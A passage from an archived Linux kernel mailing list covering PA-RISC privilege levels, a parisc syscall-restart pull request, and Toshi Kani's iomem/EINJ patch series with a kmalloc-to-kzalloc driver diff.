> applications are trying to play games with the debugger or
> disassembler and hide what they are doing: they can offset
> the start of a function like this, and therefore all the
> instructions within that function.
>
This is not possible on PA-RISC.  Indeed, user instruction addresses are 
always
offset by three.  There is no way to branch to an instruction that is 
offset.

The least significant two bits of an instruction address contain a 
priority level.
User code on linux and hpux executes at level 3.  The only way a user 
can change
privilege level is with a "gate" instruction (a special branch). Whether 
this is
permitted or not depends on page table permissions that the user can't 
change.
In practice, a level change is only allowed on the gateway page.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc syscall restart fix for v4.4
Date: Fri, 25 Dec 2015 13:19:27 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20151225121927.GA6170@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1451045992 2562 80.91.229.3 (25 Dec 2015 12:19:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 25 Dec 2015 12:19:52 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 25 13:19:44 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aCRLT-0005ta-Hc
	for glpp-linux-parisc@plane.gmane.org; Fri, 25 Dec 2015 13:19:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752470AbbLYMTm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 25 Dec 2015 07:19:42 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:62411 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752204AbbLYMTl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 25 Dec 2015 07:19:41 -0500
Original-Received: from ls3530.box ([92.203.52.27]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0M4WRI-1aMX6d2osG-00yiZV; Fri, 25 Dec 2015 13:19:31
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:PxnVva/Xl/hhpcMZujoZ0QTHtehBMOoYNV4BfcB6ZsdtZZoUzC6
 dKx6VTCIcveuFYFowN78aJlwQSnQ2Slxw3bmG5ctNqD5w+wNEN1LHBXWP7+vqhFt29jv+uh
 m4LuaGvQJugacTubSyf4i92qoZ30bgJtRicGmvyqhRspvEU6csK6HXuUWOYABJXH3cYlGcU
 VeCYSTecFCq1FVopT2v+w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ynbaKkReZ2U=:D1zIxWFxqpBMMAe1aHXyTD
 F5EF5c6f7MwYHqx+WXZ4fM5QXYtt0YGNzkrQmRfzviu7/ZxImiHFgFf4C9w33UlJvbsUEHMRI
 idOefrLjX3HKTPv8ITB+SuxopW6PD9S/shzwreU9KMiNiNA6wHYaFIXwPjJIONfIDmfKd98h3
 cPdRSJOYBfgwEsdC9ERipmScqaeMa66R0DrirHwcIHrU4HhLsZzvm0zgE0A9+5By8LHaU5LL5
 RsTAs+iwFN35pMJ9gBwjoNZ+NZI288sMLz7qiiM3UGn6vN75OWdA6EyUvawJbn4NDqPdrhf4l
 IdPwUyq8e4eH6akV9ZDHXD5iMW7MLxP9H5q13xKLsEet1Jg/9N3kdli81H6ZSRaOeaHC6QXVs
 rjQzlsXdA7BYXjap/YudVT7qNmTAdf8Q49rDWLn81v49tYFgkXu+LOvPI+oRnBZuq+FvXdDvk
 5+f1qpE4Ytlx4PQOiPUkFdpPkPOVRysUTo2YylKMsHpcEeKMUrovJStlqt75DUeCc2eDwLp3U
 ep2sosKSdhnKzbrEP2k7SH68cwIDZgmH2ZmN/CJhJ0AnaCN81+/WIWofstyNRz0Zzyvjvo2VJ
 iO7y8mm8kB06dfg4M7eAU808i2amgitAbpNHAZhbjxPEoZBgFLJDwWlAkmNQ7aVJ5Brr5542W
 qQaBUycD0x3BtNp5TRnNOQN8bF6vHqlwGya/wT00O/61vEv3RlI0DaE6Yl0p5rxQcIfnB4D+N
 eSrUYuYYMNXO0wCh/mdlo1DG0EQLGz2oS6s4J7UGwlNByUYtdc38q9cDMkc=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26279 gmane.linux.kernel:2115139
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26279>

Hi Linus,

please pull one late patch for the parisc architecture for kernel v4.4 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.4-4

The architectural design of parisc always uses two instructions to call kernel
syscalls (delayed branch feature). This means that the instruction following
the branch (located in the delay slot of the branch instruction) is executed
before control passes to the branch destination.
Depending on which assembler instruction and how it is used in usersapce in
the delay slot, this sometimes made restarted syscalls like futex() and poll()
failing with -ENOSYS.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (1):
      parisc: Fix syscall restarts

 arch/parisc/kernel/signal.c | 64 ++++++++++++++++++++++++++++++++++++---------
 1 file changed, 52 insertions(+), 12 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Toshi Kani <toshi.kani@hpe.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.kernel.samsung-soc,gmane.linux.kernel.cross-arch,gmane.linux.acpi.devel,gmane.linux.kernel
Subject: [PATCH v2 00/16] Enhance iomem search interfaces and support EINJ to NVDIMM
Date: Fri, 25 Dec 2015 15:09:04 -0700
Lines: 105
Approved: news@gmane.org
Message-ID: <1451081344-15145-1-git-send-email-toshi.kani@hpe.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1451081393 29793 80.91.229.3 (25 Dec 2015 22:09:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 25 Dec 2015 22:09:53 +0000 (UTC)
Cc: torvalds@linux-foundation.org,
	rafael.j.wysocki@intel.com,
	dan.j.williams@intel.com,
	x86@kernel.org,
	linux-ia64@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	linux-sh@vger.kernel.org,
	konrad.wilk@oracle.com,
	xen-devel@lists.xenproject.org,
	dyoung@redhat.com,
	k.kozlowski@samsung.com,
	linux-samsung-soc@vger.kernel.org,
	vishal.l.verma@intel.com,
	tony.luck@intel.com,
	linux-arch@vger.kernel.org,
	linux-mm@kvack.org,
	linux-nvdimm@lists.01.org,
	linux-acpi@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: akpm@linux-foundation.org,
	bp@alien8.de
Original-X-From: owner-linux-mm@kvack.org Fri Dec 25 23:09:37 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1aCaYK-0002bD-Fg
	for glkm-linux-mm-2@m.gmane.org; Fri, 25 Dec 2015 23:09:36 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 56A9182FCC; Fri, 25 Dec 2015 17:09:34 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 51BAD82FCB; Fri, 25 Dec 2015 17:09:34 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 409DA82FCC; Fri, 25 Dec 2015 17:09:34 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-oi0-f49.google.com (mail-oi0-f49.google.com [209.85.218.49])
	by kanga.kvack.org (Postfix) with ESMTP id 13B8B82FCB
	for <linux-mm@kvack.org>; Fri, 25 Dec 2015 17:09:34 -0500 (EST)
Original-Received: by mail-oi0-f49.google.com with SMTP id l9so123276590oia.2
        for <linux-mm@kvack.org>; Fri, 25 Dec 2015 14:09:34 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:from:to:cc
         :subject:date:message-id;
        bh=6uxJ2fSMRbUe8jCQGDnPqe4btguEiAVRGVUa2bIkZvo=;
        b=W5NvBD3wEB394dUm2o7T2ntFGuQ6u0nXOR5vVISbehPRilYbf99tmGPoymUKFke5pe
         Rbdmte5e1A5bPOCnOg3hdnUQCqo2I5iz5nf0PKW+BBmSrvwWZYVl6ojl7bDkL9X5U43O
         jtSOBegr9fwhzsvVVNs35WweQQ+/j2SrZcyuwPuTGwJxvyBsEFljbhD+biiMSOtHQExI
         6qLp/+q8Fqn7N/rZ88mcfojdR19zE0MahKE/YmKisEkALSBGnaQCSS2F/kCleMVmbjDq
         J0g/iBneQwnmgtaf/HHmgPD/qOkvx4J+2naOsa6h7yZrFZpYQfDFHENh3o8NByYMBOFd
         G/zQ==
X-Original-Authentication-Results: mx.google.com;       spf=neutral (google.com: 15.201.208.53 is neither permitted nor denied by best guess record for domain of toshi.kani@hpe.com) smtp.mailfrom=toshi.kani@hpe.com
X-Gm-Message-State: ALoCoQk1ejKTmH92BRpel9xyWKZ3/3sDgTbtJePAktQuTTvCQiAwc2udOrlw9wqIa6CuIruFjbK2QkOb+bLwAtnDM8YyK+ZLG3pmvtjk/xMbZf/6SJ4hBSwQ1iIxSfNiWI7p8NHHnDlitn6ksixTbh0YNyrTb/VN3sn/KZiNKpFXimMTO+DXO7EQsoI+1l3bHyE11bDt/riM
X-Received: by 10.202.78.2 with SMTP id c2mr22748876oib.71.1451081373801;
        Fri, 25 Dec 2015 14:09:33 -0800 (PST)
X-Received: by 10.202.78.2 with SMTP id c2mr22748865oib.71.1451081373451;
        Fri, 25 Dec 2015 14:09:33 -0800 (PST)
Original-Received: from g4t3425.houston.hp.com (g4t3425.houston.hp.com. [15.201.208.53])
        by mx.google.com with ESMTPS id tp11si22341229oec.74.2015.12.25.14.09.33
        for <linux-mm@kvack.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 25 Dec 2015 14:09:33 -0800 (PST)
Received-SPF: neutral (google.com: 15.201.208.53 is neither permitted nor denied by best guess record for domain of toshi.kani@hpe.com) client-ip=15.201.208.53;
Authentication-Results: mx.google.com;
       spf=neutral (google.com: 15.201.208.53 is neither permitted nor denied by best guess record for domain of toshi.kani@hpe.com) smtp.mailfrom=toshi.kani@hpe.com
Original-Received: from g4t3433.houston.hp.com (g4t3433.houston.hp.com [16.210.25.219])
	by g4t3425.houston.hp.com (Postfix) with ESMTP id E2E7B2B;
	Fri, 25 Dec 2015 22:09:31 +0000 (UTC)
Original-Received: from misato.fc.hp.com (misato.fc.hp.com [16.78.168.61])
	by g4t3433.houston.hp.com (Postfix) with ESMTP id CC6C649;
	Fri, 25 Dec 2015 22:09:28 +0000 (UTC)
X-Mailer: git-send-email 2.4.3
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:143637 gmane.linux.ports.ia64:25939 gmane.linux.ports.parisc:26280 gmane.linux.ports.sh.devel:52426 gmane.linux.kernel.samsung-soc:51183 gmane.linux.kernel.cross-arch:29981 gmane.linux.acpi.devel:80750 gmane.linux.kernel:2115157
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/143637>

This patch-set enhances the iomem table and its search interfacs, and
then changes EINJ to support NVDIMM.

 - Patches 1-2 add a new System RAM type, IORESOURCE_SYSTEM_RAM, and
   make the iomem search interfaces work with resource flags with
   modifier bits set.  IORESOURCE_SYSTEM_RAM has IORESOURCE_MEM bit set
   for backward compatibility.

 - Patch 3 adds a new field, I/O resource descriptor, in struct resource.
   Drivers can assign their unique descritor to a range when they
   support the iomem search interfaces.

 - Patches 4-9 changes initializations of resource entries.  They set
   the System RAM type to System RAM ranges, set I/O resource descriptors
   to the regions targeted by the iomem search interfaces, and change
   to call kzalloc() where kmalloc() is used to allocate struct resource
   ranges.

 - Patches 10-14 extend the iomem interfaces to check System RAM ranges
   with the System RAM type and the I/O resource descriptor.

 - Patch 15 adds a check to checkpatch.pl to warn on new use of
   walk_iomem_res().

 - Patch 16 changes the EINJ driver to allow injecting a memory error
   to NVDIMM.

---
v2:
 - Add 'desc' to struct resource, and add a new iomem interface to
   search with the desc. (Borislav Petkov)
 - Add a check to checkpatch.pl to warn on new use of walk_iomem_res().
   (Borislav Petkov)

v1:
 - Searching for System RAM in the resource table should not require
   strcmp(). (Borislav Petkov)
 - Add a new System RAM type as a modifier to IORESOURCE_MEM.
   (Linus Torvalds)
 - NVDIMM check needs to be able to distinguish legacy and NFIT pmem
   ranges. (Dan Williams)

---
Toshi Kani (16):
 01/16 resource: Add System RAM resource type
 02/16 resource: make resource flags handled properly
 03/16 resource: Add I/O resource descriptor
 04/16 x86/e820: Set System RAM type and descriptor
 05/16 ia64: Set System RAM type and descriptor
 06/16 arch: Set IORESOURCE_SYSTEM_RAM to System RAM
 07/16 kexec: Set IORESOURCE_SYSTEM_RAM to System RAM
 08/16 xen, mm: Set IORESOURCE_SYSTEM_RAM to System RAM
 09/16 drivers: Initialize resource entry to zero
 10/16 resource: Change walk_system_ram to use System RAM type
 11/16 arm/samsung: Change s3c_pm_run_res() to use System RAM type
 12/16 memremap: Change region_intersects() to take @flags and @desc
 13/16 resource: Add walk_iomem_res_desc()
 14/16 x86,nvdimm,kexec: Use walk_iomem_res_desc() for iomem search
 15/16 checkpatch: Add warning on deprecated walk_iomem_res
 16/16 ACPI/EINJ: Allow memory error injection to NVDIMM

---
 arch/arm/kernel/setup.c            |   6 +-
 arch/arm/plat-samsung/pm-check.c   |   4 +-
 arch/arm64/kernel/setup.c          |   6 +-
 arch/avr32/kernel/setup.c          |   6 +-
 arch/ia64/kernel/efi.c             |  13 ++++-
 arch/ia64/kernel/setup.c           |   6 +-
 arch/m32r/kernel/setup.c           |   4 +-
 arch/mips/kernel/setup.c           |  10 ++--
 arch/parisc/mm/init.c              |   6 +-
 arch/powerpc/mm/mem.c              |   2 +-
 arch/s390/kernel/setup.c           |   8 +--
 arch/score/kernel/setup.c          |   2 +-
 arch/sh/kernel/setup.c             |   8 +--
 arch/sparc/mm/init_64.c            |   8 +--
 arch/tile/kernel/setup.c           |  11 +++-
 arch/unicore32/kernel/setup.c      |   6 +-
 arch/x86/kernel/crash.c            |   4 +-
 arch/x86/kernel/e820.c             |  38 ++++++++++++-
 arch/x86/kernel/pmem.c             |   4 +-
 arch/x86/kernel/setup.c            |   6 +-
 drivers/acpi/acpi_platform.c       |   2 +-
 drivers/acpi/apei/einj.c           |  15 +++--
 drivers/nvdimm/e820.c              |   2 +-
 drivers/parisc/eisa_enumerator.c   |   4 +-
 drivers/rapidio/rio.c              |   8 +--
 drivers/sh/superhyway/superhyway.c |   2 +-
 drivers/xen/balloon.c              |   2 +-
 include/linux/ioport.h             |  33 +++++++++++
 include/linux/mm.h                 |   3 +-
 kernel/kexec_core.c                |   8 ++-
 kernel/kexec_file.c                |   8 +--
 kernel/memremap.c                  |  13 +++--
 kernel/resource.c                  | 110 +++++++++++++++++++++++++++----------
 mm/memory_hotplug.c                |   2 +-
 scripts/checkpatch.pl              |   6 ++
 35 files changed, 265 insertions(+), 111 deletions(-)

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:38:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Toshi Kani <toshi.kani@hpe.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.acpi.devel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: [PATCH v2 09/16] drivers: Initialize resource entry to zero
Date: Fri, 25 Dec 2015 15:09:18 -0700
Lines: 111
Approved: news@gmane.org
Message-ID: <1451081365-15190-9-git-send-email-toshi.kani@hpe.com>
References: <1451081365-15190-1-git-send-email-toshi.kani@hpe.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1451081449 30602 80.91.229.3 (25 Dec 2015 22:10:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 25 Dec 2015 22:10:49 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
	linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	linux-acpi@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	linux-sh@vger.kernel.org,
	Toshi Kani <toshi.kani@hpe.com>
To: akpm@linux-foundation.org,
	bp@alien8.de
Original-X-From: owner-linux-mm@kvack.org Fri Dec 25 23:10:34 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1aCaZF-0003so-61
	for glkm-linux-mm-2@m.gmane.org; Fri, 25 Dec 2015 23:10:33 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 282DC680DCC; Fri, 25 Dec 2015 17:10:23 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 25F8E680DC6; Fri, 25 Dec 2015 17:10:23 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 148FC680DCC; Fri, 25 Dec 2015 17:10:23 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-ob0-f175.google.com (mail-ob0-f175.google.com [209.85.214.175])
	by kanga.kvack.org (Postfix) with ESMTP id DD436680DC6
	for <linux-mm@kvack.org>; Fri, 25 Dec 2015 17:10:22 -0500 (EST)
Original-Received: by mail-ob0-f175.google.com with SMTP id iw8so202054127obc.1
        for <linux-mm@kvack.org>; Fri, 25 Dec 2015 14:10:22 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:from:to:cc
         :subject:date:message-id:in-reply-to:references;
        bh=CX2zgU1cbQG3M6dDKnINwA0Vm/O12dx68NCNm1xcBKU=;
        b=e77xpdyIUz+v58BH3x77oUJYN3gn4CwtVWlZB0vJuyzQr9x2TAQCShQlGDKDHQXKds
         XVUKjzRiqzG0jT/ASuksp6n0tyfyIKvnRJ8f/FyhMVyks4BLSoYCpb5/BIN2O2di9gf6
         kE9rl43zUetbd75Sca+DIvb9iHn97WSEAC9PViizONxExrHhNeBRPhboVoYMSqizID9j
         2iiRHUxf5u+KteFNqzlf/pvqChE4/nXhg6I5kfP8iLXT5uHsRGgRmULxYswtq19Ewb5x
         nxBFyiWkOD8T7L/lYdgl69BnnP4pMSti2APLUP6B+DyM33Jagn7yEcSED7XBrR2SFoyc
         DuKg==
X-Original-Authentication-Results: mx.google.com;       spf=neutral (google.com: 15.201.208.55 is neither permitted nor denied by best guess record for domain of toshi.kani@hpe.com) smtp.mailfrom=toshi.kani@hpe.com
X-Gm-Message-State: ALoCoQneW+SFLrzgou5187+UdXK3uJH7vCwVg9W5fJofVnqCzNtT5JWHJ+9dRywxUuVgM+7vtDOykVquytjEDd5jCRZ5yqpN+T4O8o86s2FzWYhajvlJoV1k3aCJqUAOnA8SxQyXO+2KJJM3l1GgefBU4t7i31qBw5J83RtojgrYv902CDGwmZeh1+zekETJ/DR11E1dbCFD
X-Received: by 10.182.91.6 with SMTP id ca6mr15884615obb.14.1451081422742;
        Fri, 25 Dec 2015 14:10:22 -0800 (PST)
X-Received: by 10.182.91.6 with SMTP id ca6mr15884606obb.14.1451081422335;
        Fri, 25 Dec 2015 14:10:22 -0800 (PST)
Original-Received: from g4t3427.houston.hp.com (g4t3427.houston.hp.com. [15.201.208.55])
        by mx.google.com with ESMTPS id w8si8684641oia.92.2015.12.25.14.10.22
        for <linux-mm@kvack.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 25 Dec 2015 14:10:22 -0800 (PST)
Received-SPF: neutral (google.com: 15.201.208.55 is neither permitted nor denied by best guess record for domain of toshi.kani@hpe.com) client-ip=15.201.208.55;
Authentication-Results: mx.google.com;
       spf=neutral (google.com: 15.201.208.55 is neither permitted nor denied by best guess record for domain of toshi.kani@hpe.com) smtp.mailfrom=toshi.kani@hpe.com
Original-Received: from g9t2301.houston.hp.com (g9t2301.houston.hp.com [16.216.185.78])
	by g4t3427.houston.hp.com (Postfix) with ESMTP id F30624D;
	Fri, 25 Dec 2015 22:10:21 +0000 (UTC)
Original-Received: from misato.fc.hp.com (misato.fc.hp.com [16.78.168.61])
	by g9t2301.houston.hp.com (Postfix) with ESMTP id 255C74E;
	Fri, 25 Dec 2015 22:10:21 +0000 (UTC)
X-Mailer: git-send-email 2.4.3
In-Reply-To: <1451081365-15190-1-git-send-email-toshi.kani@hpe.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:143646 gmane.linux.kernel.cross-arch:29990 gmane.linux.kernel:2115166 gmane.linux.acpi.devel:80751 gmane.linux.ports.parisc:26281 gmane.linux.ports.sh.devel:52427
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/143646>

I/O resource descriptor, 'desc' added to struct resource, needs
to be initialized to zero by default.  Some drivers call kmalloc()
to allocate a resource entry, but does not initialize it to zero
by memset().  Change these drivers to call kzalloc(), instead.

Cc: linux-acpi@vger.kernel.org
Cc: linux-parisc@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Signed-off-by: Toshi Kani <toshi.kani@hpe.com>
---
 drivers/acpi/acpi_platform.c       |    2 +-
 drivers/parisc/eisa_enumerator.c   |    4 ++--
 drivers/rapidio/rio.c              |    8 ++++----
 drivers/sh/superhyway/superhyway.c |    2 +-
 4 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/drivers/acpi/acpi_platform.c b/drivers/acpi/acpi_platform.c
index 296b7a1..b6f7fa3 100644
--- a/drivers/acpi/acpi_platform.c
+++ b/drivers/acpi/acpi_platform.c
@@ -62,7 +62,7 @@ struct platform_device *acpi_create_platform_device(struct acpi_device *adev)
 	if (count < 0) {
 		return NULL;
 	} else if (count > 0) {
-		resources = kmalloc(count * sizeof(struct resource),
+		resources = kzalloc(count * sizeof(struct resource),
 				    GFP_KERNEL);
 		if (!resources) {
 			dev_err(&adev->dev, "No memory for resources\n");
diff --git a/drivers/parisc/eisa_enumerator.c b/drivers/parisc/eisa_enumerator.c
index a656d9e..21905fe 100644
--- a/drivers/parisc/eisa_enumerator.c
+++ b/drivers/parisc/eisa_enumerator.c
@@ -91,7 +91,7 @@ static int configure_memory(const unsigned char *buf,
 	for (i=0;i<HPEE_MEMORY_MAX_ENT;i++) {
 		c = get_8(buf+len);
 		
-		if (NULL != (res = kmalloc(sizeof(struct resource), GFP_KERNEL))) {
+		if (NULL != (res = kzalloc(sizeof(struct resource), GFP_KERNEL))) {
 			int result;
 			
 			res->name = name;
@@ -183,7 +183,7 @@ static int configure_port(const unsigned char *buf, struct resource *io_parent,
 	for (i=0;i<HPEE_PORT_MAX_ENT;i++) {
 		c = get_8(buf+len);
 		
-		if (NULL != (res = kmalloc(sizeof(struct resource), GFP_KERNEL))) {
+		if (NULL != (res = kzalloc(sizeof(struct resource), GFP_KERNEL))) {
 			res->name = board;
 			res->start = get_16(buf+len+1);
 			res->end = get_16(buf+len+1)+(c&HPEE_PORT_SIZE_MASK)+1;
diff --git a/drivers/rapidio/rio.c b/drivers/rapidio/rio.c
index d7b87c6..e220edc 100644
--- a/drivers/rapidio/rio.c
+++ b/drivers/rapidio/rio.c
@@ -117,7 +117,7 @@ int rio_request_inb_mbox(struct rio_mport *mport,
 	if (mport->ops->open_inb_mbox == NULL)
 		goto out;
 
-	res = kmalloc(sizeof(struct resource), GFP_KERNEL);
+	res = kzalloc(sizeof(struct resource), GFP_KERNEL);
 
 	if (res) {
 		rio_init_mbox_res(res, mbox, mbox);
@@ -185,7 +185,7 @@ int rio_request_outb_mbox(struct rio_mport *mport,
 	if (mport->ops->open_outb_mbox == NULL)
 		goto out;
 
-	res = kmalloc(sizeof(struct resource), GFP_KERNEL);
+	res = kzalloc(sizeof(struct resource), GFP_KERNEL);
 
 	if (res) {
 		rio_init_mbox_res(res, mbox, mbox);
@@ -285,7 +285,7 @@ int rio_request_inb_dbell(struct rio_mport *mport,
 {
 	int rc = 0;
 
-	struct resource *res = kmalloc(sizeof(struct resource), GFP_KERNEL);
+	struct resource *res = kzalloc(sizeof(struct resource), GFP_KERNEL);
 
 	if (res) {
 		rio_init_dbell_res(res, start, end);
@@ -360,7 +360,7 @@ int rio_release_inb_dbell(struct rio_mport *mport, u16 start, u16 end)
 struct resource *rio_request_outb_dbell(struct rio_dev *rdev, u16 start,
 					u16 end)
 {
-	struct resource *res = kmalloc(sizeof(struct resource), GFP_KERNEL);
+	struct resource *res = kzalloc(sizeof(struct resource), GFP_KERNEL);
 
 	if (res) {
 		rio_init_dbell_res(res, start, end);
diff --git a/drivers/sh/superhyway/superhyway.c b/drivers/sh/superhyway/superhyway.c
index 2d9e7f3..bb1fb771 100644
--- a/drivers/sh/superhyway/superhyway.c
+++ b/drivers/sh/superhyway/superhyway.c
@@ -66,7 +66,7 @@ int superhyway_add_device(unsigned long base, struct superhyway_device *sdev,
 	superhyway_read_vcr(dev, base, &dev->vcr);
 
 	if (!dev->resource) {
-		dev->resource = kmalloc(sizeof(struct resource), GFP_KERNEL);
+		dev->resource = kzalloc(sizeof(struct resource), GFP_KERNEL);
 		if (!dev->resource) {
 			kfree(dev);
 			return -ENOMEM;

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:38:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc huge page support for v4.4
Date: Sat, 26 Dec 2015 07:09:16 -0500 (EST)
Lines: 66
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1512260645560.7692@file01.intranet.prod.int.rdu2.redhat.com>
References: <20151122115153.GA28471@p100.box> <alpine.LRH.2.02.1511241014280.9586@file01.intranet.prod.int.rdu2.redhat.com> <5654892D.1030707@gmx.de> <alpine.LRH.2.02.1511241136440.14442@file01.intranet.prod.int.rdu2.redhat.com> <20151124170020.GA13198@p100.box>
 <alpine.LRH.2.02.1511241343200.30334@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1451131775 16218 80.91.229.3 (26 Dec 2015 12:09:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 26 Dec 2015 12:09:35 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 26 13:09:30 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
